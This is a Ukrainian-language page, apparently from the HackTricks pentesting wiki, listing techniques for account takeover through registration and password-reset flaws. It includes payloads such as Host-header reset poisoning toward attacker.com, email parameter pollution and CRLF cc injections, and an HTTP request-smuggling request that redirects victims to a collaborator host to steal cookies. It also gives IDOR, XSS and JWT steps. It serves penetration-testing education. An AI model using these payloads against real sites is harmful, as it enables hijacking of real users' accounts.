13 KiB
Вразливості реєстрації та захоплення
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Захоплення реєстрації
Дублювання реєстрації
- Спробуйте згенерувати, використовуючи існуюче ім'я користувача
- Перевірте, варіюючи електронну пошту:
- великі літери
- +1@
- додайте крапку в електронній пошті
- спеціальні символи в імені електронної пошти (%00, %09, %20)
- Додайте чорні символи після електронної пошти:
test@test.com a
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
Перерахування імен користувачів
Перевірте, чи можете ви з'ясувати, коли ім'я користувача вже було зареєстровано в додатку.
Політика паролів
Створюючи користувача, перевірте політику паролів (перевірте, чи можете ви використовувати слабкі паролі).
У такому випадку ви можете спробувати брутфорсити облікові дані.
SQL-ін'єкція
Перевірте цю сторінку , щоб дізнатися, як спробувати захоплення облікових записів або витягти інформацію через SQL-ін'єкції у формах реєстрації.
Захоплення Oauth
{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}
Вразливості SAML
{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}
Зміна електронної пошти
Після реєстрації спробуйте змінити електронну пошту та перевірте, чи ця зміна правильно перевіряється або чи можна змінити її на довільні електронні адреси.
Більше перевірок
- Перевірте, чи можете ви використовувати тимчасові електронні адреси
- Довгий пароль (>200) призводить до DoS
- Перевірте обмеження швидкості на створення облікових записів
- Використовуйте username@burp_collab.net і аналізуйте callback
Захоплення скидання пароля
Витік токена скидання пароля через реферер
- Запросіть скидання пароля на вашу електронну адресу
- Натисніть на посилання для скидання пароля
- Не змінюйте пароль
- Перейдіть на будь-які сторонні веб-сайти (наприклад: Facebook, Twitter)
- Перехопіть запит у проксі Burp Suite
- Перевірте, чи заголовок referer витікає токен скидання пароля.
Отруєння скидання пароля
- Перехопіть запит на скидання пароля в Burp Suite
- Додайте або відредагуйте наступні заголовки в Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
- Перешліть запит з модифікованим заголовком
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
- Шукайте URL скидання пароля на основі заголовка host, наприклад:
https://attacker.com/reset-password.php?token=TOKEN
Скидання пароля через параметр електронної пошти
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR на API Параметрах
- Атакуючий повинен увійти в свій обліковий запис і перейти до функції Змінити пароль.
- Запустіть Burp Suite і перехопіть запит.
- Відправте його на вкладку повторювача та відредагуйте параметри: ID користувача/електронна пошта
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Слабкий Токен Скидання Пароля
Токен скидання пароля повинен генеруватися випадковим чином і бути унікальним щоразу.
Спробуйте визначити, чи токен має термін дії або завжди однаковий, в деяких випадках алгоритм генерації є слабким і може бути вгаданий. Наступні змінні можуть використовуватися алгоритмом.
- Часова мітка
- ID користувача
- Електронна пошта користувача
- Ім'я та прізвище
- Дата народження
- Криптографія
- Тільки числа
- Невелика послідовність токенів (символи між [A-Z,a-z,0-9])
- Повторне використання токена
- Дата закінчення терміну дії токена
Витік Токена Скидання Пароля
- Викличте запит на скидання пароля, використовуючи API/UI для конкретної електронної пошти, наприклад: test@mail.com
- Перевірте відповідь сервера та перевірте наявність
resetToken
- Потім використовуйте токен в URL, наприклад
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Скидання Пароля Через Колізію Імені Користувача
- Зареєструйтеся в системі з іменем користувача, ідентичним імені користувача жертви, але з пробілами перед і/або після імені користувача. наприклад:
"admin "
- Запросіть скидання пароля з вашим шкідливим іменем користувача.
- Використовуйте токен, надісланий на вашу електронну пошту, і скиньте пароль жертви.
- Увійдіть до облікового запису жертви з новим паролем.
Платформа CTFd була вразливою до цієї атаки.
Дивіться: CVE-2020-7245
Захоплення Облікового Запису Через Міжсайтовий Скриптинг
- Знайдіть XSS всередині програми або піддомену, якщо куки обмежені до батьківського домену:
*.domain.com
- Витікайте поточний cookie сесії
- Аутентифікуйтеся як користувач, використовуючи cookie
Захоплення Облікового Запису Через Підтасування HTTP Запитів
1. Використовуйте smuggler для виявлення типу підтасування HTTP запитів (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Сформуйте запит, який перезапише POST / HTTP/1.1
з наступними даними:
GET http://something.burpcollaborator.net HTTP/1.1 X:
з метою перенаправлення жертв на burpcollab і крадіжки їхніх cookie
3. Остаточний запит може виглядати наступним чином
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone reports exploiting this bug
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666
Захоплення облікового запису через CSRF
- Створіть payload для CSRF, наприклад: “HTML форма з автоматичною відправкою для зміни пароля”
- Відправте payload
Захоплення облікового запису через JWT
JSON Web Token може використовуватися для аутентифікації користувача.
- Змініть JWT на інший User ID / Email
- Перевірте на слабкий підпис JWT
{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}
Посилання
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.